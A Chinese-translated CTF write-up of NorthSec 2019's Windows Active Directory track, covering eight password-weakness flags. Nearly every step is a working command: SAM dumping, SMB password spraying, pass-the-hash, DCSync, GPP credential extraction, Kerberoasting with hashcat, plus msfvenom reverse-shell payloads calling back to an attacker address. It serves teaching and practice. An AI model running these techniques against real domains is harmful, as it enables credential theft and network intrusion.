因为密码是一个很不错的东西(并且是信息安全渗透主要的途径之一),我们已经制定了8个与密码相关的不同漏洞。 这些并不影响完成任务,但他们提供了8个flag。 如果你是个完美主义者,我相信你不会错过!

1. 密码重用
2. 默认密码
3. 描述字段中的密码
4. 可猜测的密码(带有公司名称的模式)
5. 空口令
6. 密码以可逆格式存储
7. 组策略首选项(GPP)
8. Kerberoast(密码较弱的服务帐户)

1. 密码重用(ns_support)

在环境中,两个用户共享相同的密码。 本地帐户DEV\ns_support与NSRESEARCH\zim.armstrong使用了相同的密码。

我们可以发现,在用户的描述中有一个提示。

C:\temp>WMIC useraccount get name,description
Description                                                                                      Name                
Built-in account for administering the computer/domain Administrator
brandon
A user account managed by the system. DefaultAccount
Built-in account for guest access to the computer/domain Guest
nsec
Support account created by Zim Armstrong ns_support
A user account managed and used by the system for Windows Defender Application Guard scenarios. WDAGUtilityAccount

玩家需要根据windows10计算机(dev.neurosoft.ctf)查看SAM信息,获取(ns_support:3b5326ade5e02db737b2a9cee8ae1af3)值。

meterpreter > load kiwi
meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : DEV

RID : 000003eb (1003)
User : ns_support
Hash NTLM: 3b5326ade5e02db737b2a9cee8ae1af3

然后,玩家可以尝试对所有用户进行密码暴力破解。

msf > use scanner/smb/smb_login
msf > set USER_FILE nsec/lists/users.txt
msf > set SMBDomain NSRESEARCH
msf > set RHOSTS 9000:470:beef:cafe:cafe::20
msf > set SMBPass 00000000000000000000000000000000:3b5326ade5e02db737b2a9cee8ae1af3
msf > run

Flag可以在用户共享文件夹中找到

$ smbclient.py -hashes 00000000000000000000000000000000:3b5326ade5e02db737b2a9cee8ae1af3 -target-ip 9000:470:beef:cafe:cafe::20 NSRESEARCH/zim.armstrong@files.nsresearch.ctf
# use users_data
# cd zim.armstrong
# get flag.txt
# exit
$ cat flag.txt

2. 已知的默认密码(Alfred Lebrun)

提示可以在brandon.harper的邮箱中找到。

From: Security <security@neurosoft.ctf>
To: Brandon Harper <brandon.harper@neurosoft.ctf>
Date: Mon, 26 Dec 2018 13:11:15 -0400
Subject: NSRESEARCH新用户
这是一封关于安全的自动发送邮件
你在NSRESEARCH 域中的新账号已经被创建好
这是你的临时密码:Welcome1
这是你的共享文件夹:
\\files.nsresearch.ctf\users_data\brandon.harper
请在第一时间更改您的密码!
谢谢

然而,brandon已经改了。该电子邮件刚刚泄露了重复使用的默认密码。 玩家需要对所有用户进行密码爆破就能找到使用了默认密码的账号。

msf > use auxiliary/scanner/smb/smb_login
msf > set USER_FILE nsec/lists/users.txt
msf > set SMBDomain NSRESEARCH
msf > set SMBPass Welcome1
msf > set RHOSTS 9000:470:beef:cafe:cafe::20
msf > run

但是,用户的密码需要在使用前进行更改。玩家可以通过以下方法解决。

meterpreter > powershell_shell
PS > $oldpass = ‘Welcome1’
PS > $newpass = ‘MyNewPass1MyNewPass1’
PS > $user = [ADSI]”LDAP://dc01.nsresearch.ctf/CN=Alfred Lebrun,OU=Users,OU=Research,DC=nsresearch,DC=ctf”
PS > $user.ChangePassword($oldpass,$newpass)

玩家可以在用户共享文件夹中找到flag。

meterpreter > shell
C:\temp>net use \\files.nsresearch.ctf\users_data /user:NSRESEARCH\alfred.lebrun MyNewPass1MyNewPass1
C:\temp>dir \\files.nsresearch.ctf\users_data
C:\temp>dir \\files.nsresearch.ctf\users_data\alfred.lebrun
C:\temp>type \\files.nsresearch.ctf\users_data\alfred.lebrun\flag.txt
C:\temp>net use \\files.nsresearch.ctf\users_data /delete

3. 描述字段中的密码(test.user)

用户的描述字段中有一个flag。 玩家可以在AD侦察阶段轻松找到它。

meterpreter > load powershell
meterpreter > powershell_import /home/mdube/shr/git/PowerSploit/Recon/PowerView.ps1
meterpreter > powershell_execute “Get-DomainUser -Domain NSRESEARCH.CTF -Properties sAMAccountName,Description”

玩家可以在用户共享文件夹中找到flag。

C:\temp>net use \\files.nsresearch.ctf\users_data /user:NSRESEARCH\test.user “Th4tSup3rUncr4ck4bl3P@$$w0rd”
C:\temp>dir \\files.nsresearch.ctf\users_data
C:\temp>dir \\files.nsresearch.ctf\users_data\test.user
C:\temp>type \\files.nsresearch.ctf\users_data\test.user\flag.txt
C:\temp>net use \\files.nsresearch.ctf\users_data /delete

4. 可猜解的密码(Linda Costa)

有一个用户的密码是根据公司名称和非常常见的后缀构建的。 事实上,在brandon.harper的邮箱中有一个非常明确的提示。

From: Security <security@neurosoft.ctf>
To: Brandon Harper <brandon.harper@neurosoft.ctf>
Date: Tue, 5 Feb 2019 13:21:15 -0400
Subject: 密码政策通知
开发人员大家好,
最近,用户帐户遭到入侵,我们发现有些人使用公司名称作为密码。 我们想说这是一种非常不安全的做法。 我们希望没有人使用这种弱密码。 此外,请注意,附加“123”不会改善您的密码的安全状况。
谢谢您的合作!

玩家可以尝试对所有用户进行密码爆破。

msf > use auxiliary/scanner/smb/smb_login
msf > set USER_FILE nsec/lists/users.txt
msf > set SMBDomain NSRESEARCH
msf > set SMBPass Neurosoft123
msf > set RHOSTS 9000:470:beef:cafe:cafe::20
msf > run
# Spray via rpcclient (if you feel funky)
while read x; do echo $x; rpcclient -U “NSRESEARCH/$x%Neurosoft123” -c “getusername;quit” 9000:470:beef:cafe:cafe::20; done < ~/nsec/users.txt

玩家可以在用户共享文件夹中找到flag。

C:\temp>net use \\files.nsresearch.ctf\users_data /user:NSRESEARCH\linda.costa “Neurosoft123”
C:\temp>dir \\files.nsresearch.ctf\users_data
C:\temp>dir \\files.nsresearch.ctf\users_data\test.user
C:\temp>type \\files.nsresearch.ctf\users_data\test.user\flag.txt
C:\temp>net use \\files.nsresearch.ctf\users_data /delete

5. 空密码(Stuart Fagan)

发现漏洞(通过命令查找空口令账号)

meterpreter > powershell_shell
PS > Get-DomainUser -Domain NSRESEARCH.CTF -LDAPFilter ”(&(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))” -Properties sAMAccountName,description,useraccountcontrol

玩家可以在用户共享文件夹中找到flag。

C:\temp>net use \\files.nsresearch.ctf\users_data /user:NSRESEARCH\stuart.fagan “”
C:\temp>dir \\files.nsresearch.ctf\users_data
C:\temp>dir \\files.nsresearch.ctf\users_data\stuart.fagan
C:\temp>type \\files.nsresearch.ctf\users_data\stuart.fagan\flag.txt
C:\temp>net use \\files.nsresearch.ctf\users_data /delete

6. 密码以可逆格式存储(Neil Williamson)

meterpreter > powershell_shell
PS > Get-DomainUser -Domain NEUROSOFT.CTF -LDAPFilter ”(&(objectClass=user)(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=128))” -Properties sAMAccountName,description,useraccountcontrol | format-table

由于密码以可逆格式存储,因此玩家可以使用DCSYNC来获取密码。

meterpreter > load kiwi
meterpreter > kiwi_cmd “\”lsadump::dcsync /domain:neurosoft.ctf /user:neil.williamson\””

[DC] ‘neurosoft.ctf’ will be the domain
[DC] ‘dc.neurosoft.ctf’ will be the DC server
[DC] ‘neil.williamson’ will be the user account

object RDN : Stuart Fagan

** SAM ACCOUNT **

SAM Username : neil.williamson
User Principal Name : neil.williamson@neurosoft.ctf
Account Type : 30000000 ( USER_object )
User Account Control : 00010280 ( ENCRYPTED_TEXT_PASSWORD_ALLOWED NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 2019–04–15 8:50:28 PM
object Security ID : S-1–5–21–2892396748–947681171–1598779583–1123
object Relative ID : 1123


* Primary:CLEARTEXT *
K89A3Fib6mYNiQDKtvsn

玩家可以在用户共享文件夹中找到flag。

C:\temp>net use \\files.nsresearch.ctf\users_data /user:NSRESEARCH\neil.williamson “K89A3Fib6mYNiQDKtvsn”
C:\temp>dir \\files.nsresearch.ctf\users_data
C:\temp>dir \\files.nsresearch.ctf\users_data\neil.williamson
C:\temp>type \\files.nsresearch.ctf\users_data\neil.williamson\flag.txt
C:\temp>net use \\files.nsresearch.ctf\users_data /delete

7. 组策略首选项(GPP)

通过以下命令获取信息

metapsloit > use windows/gather/credentials/gpp
metapsloit > set SESSION X
metapsloit > run


[*] Parsing file: \\DC.NEUROSOFT.CTF\SYSVOL\neurosoft.ctf\Policies\{768F05A6-B3A6–4065–9158–27711C5E1844}\MACHINE\Preferences\Groups\Groups.xml …
[+] Group Policy Credential Info
============================

Name Value
— — — — -
TYPE Groups.xml
USERNAME NeuroAdmin
PASSWORD FLAG-gJde7qrujzM6UuJXRKjBuTBaDjC3ahcs
DOMAIN CONTROLLER DC.NEUROSOFT.CTF
DOMAIN neurosoft.ctf
CHANGED 2019–03–17 19:09:48
NEVER_EXPIRES? 0
DISABLED 0

[+] xml file saved to: /home/mdube/.msf4/loot/20190416202934_default_9000470beef12_microsoft.window_971844.txt

8.Kerberoast

发现漏洞(可以使用neurosoft.ctf的任何用户登录)

PS > Invoke-Kerberoast
SamAccountName       : svcMoonCrackle
DistinguishedName : CN=svcMoonCrackle,OU=Employees,DC=neurosoft,DC=ctf
ServicePrincipalName : http/mooncrackle.neurosoft.ctf
TicketByteHexStream :
Hash : $krb5tgs$23$*svcMoonCrackle$neurosoft.ctf$http/mooncrackle.neurosoft.ctf*$B6981E78424F52160E2F54
CE9708A9C3$24645D40068C6843C6AD0EE3BA610C90C1FBD291A355652C622B30D9A9654208B9CD15E4465884B2CA564
333C3A3398B92DCF66EA42DFB36FC3127A4679460F4DC0FA565AD019631037EBAF00DC896C326B4BA854C7CE833762BA
E8809A9C1A20EB378666F6FB721A991CB4D75D5FED7A1473B69DA3F7DFF292842E64B3DD09AD6E969C18A29E9C4A6B30
8F86B3030392A6A982DE203F14AC9177A6DD648BB354E5372162441CA1B5D0CDFC60A71E7386245D3676DDD300A066ED
[...]

开始破解

hashcat -m 13100 shr/git/nsec19/kerberoast/mooncrackle.hashcat.txt /usr/share/dict/rockyou.txt

6cdbda3afba3ff099682c09:Ryan1982

Session……….: hashcat
Status………..: Cracked
Hash.Type……..: Kerberos 5 TGS-REP etype 23
Hash.Target……: $krb5tgs$23$*svcMoonCrackle$neurosoft.ctf$http/moon…682c09
Time.Started…..: Tue Apr 16 20:42:17 2019 (2 secs)
Time.Estimated…: Tue Apr 16 20:42:19 2019 (0 secs)
Guess.base…….: File (/usr/share/dict/rockyou.txt)
Guess.Queue……: 1/1 (100.00%)
Speed.#1………: 7780.6 kH/s (8.09ms) @ Accel:512 Loops:1 Thr:64 Vec:1
Recovered……..: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress………: 12189696/14344373 (84.98%)
Rejected………: 0/12189696 (0.00%)
Restore.Point….: 11993088/14344373 (83.61%)
Restore.Sub.#1…: Salt:0 Amplifier:0–1 Iteration:0–1
Candidates.#1….: romanuik47 -> salvibabe1
Hardware.Mon.#1..: Temp: 59c Util: 47% Core:1657MHz Mem:3504MHz Bus:16

玩家可以在用户共享文件夹中找到flag。

C:\temp>net use \\files.nsresearch.ctf\users_data /user:NEUROSOFT\svcMoonCrackle Ryan1982
C:\temp>dir \\files.nsresearch.ctf\users_data
C:\temp>dir \\files.nsresearch.ctf\users_data\svcMoonCrackle
C:\temp>COPY \\files.nsresearch.ctf\users_data\svcMoonCrackle\flag.zip C:\temp\kerberos_flag.zip
C:\temp>net use \\files.nsresearch.ctf\users_data /delete
C:\temp>exit
meterpreter > download C:\\temp\\kerberos_flag.zip
# from your Linux box
$ unzip kerberos_flag.zip
$ cat flag.txt

[ 加分操作 ] 其他flags

SYSVOL中的flag

meterpreter > load powershell
meterpreter > powershell_shell
PS > cd \\neurosoft.ctf\SYSVOL
PS > ls
PS > ls neurosoft.ctf
PS > ls neurosoft.ctf\scripts

PS > cd neurosoft.ctf\scripts
PS > . .\Neuro_script.ps1
KUjcoOXf/lMCIbxhNqYwzA/VUUR4YdxlmYMawGYbaWc=
VIVbLdBnOTsrGxVDrS/3KhK6Lrqy9+BE9q11AABUEvQ=

PS > function Decrypt-String($key, $encryptedStringWithIV) { $bytes = [System.Convert]::Frombase64String($encryptedStringWithIV); $IV = $bytes[0..15]; $aesManaged = Create-AesManagedobject $key $IV; $decryptor = $aesManaged.CreateDecryptor(); $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length — 16); $aesManaged.Dispose(); [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0); }

$cipher = “zX9ZQCp0cjGpJbS+6DKVF6SxNyfXFIJS5fAUv5oGtVfAFAuGHBcR/vWjjQBmipiu8yaLH2CUDy2HPoJ5MfCrXA==”
$key = get-content ‘key.txt’

$backToPlainText = Decrypt-String $key $cipher
$backToPlainText
FLAG-5TWrHWv55fNk9MPNn3Tta6AWq7xkgGTj

FAQ

我们可以对NSRESEARCH进行渗透训练吗?

不行,对于这些flags,我们需要一个存储标志的地方,一旦参与者获得域管理员权限,这些标志就失效了。

Payloads生成

以下部分描述了我们如何生成用于测试的有效payload。 玩家可以通过公开的渗透框架(如metasploit或Empire)获得成功。 此外,值得一提的是,有时Cobalt strike可能会不太好用。

以下是生成payload的操作步骤

配置反弹信息

db_connect msf@msf
setg ExitOnSession false

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_ipv6_tcp
set LHOST ::
set LPORT 8080
run -j

<ruby>
sleep 2
</ruby>

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_ipv6_tcp
set LHOST ::
set LPORT 8082
run -j

<ruby>
sleep 2
</ruby>

use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
run -j

生成Payload

# Put the IP of shell.ctf
my_ipv6=”2001:470:b2b5:1036::1000"

# Simple Exe (for first shell)
msfvenom -p windows/meterpreter/reverse_ipv6_tcp LHOST=”$my_ipv6" LPORT=8080 -f exe -o “payload_msf_x86.exe” -a x86
msfvenom -p windows/x64/meterpreter_reverse_ipv6_tcp LHOST=”$my_ipv6" LPORT=8082 -f exe -o “payload_msf_x64.exe” -a x64

# Service Exe (for privesc)
msfvenom -p windows/meterpreter/reverse_ipv6_tcp LHOST=”$my_ipv6" LPORT=8080 -f exe-service -o “payload_msf_svc_x86.exe” -a x86
msfvenom -p windows/x64/meterpreter_reverse_ipv6_tcp LHOST=”$my_ipv6" LPORT=8082 -f exe-service -o “payload_msf_svc_x64.exe” -a x64 (did not have success with this one)
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://blog.ettic.ca/northsec-2019-windows-track-writeup-69d5bcf06abd

最新评论

昵称
邮箱
提交评论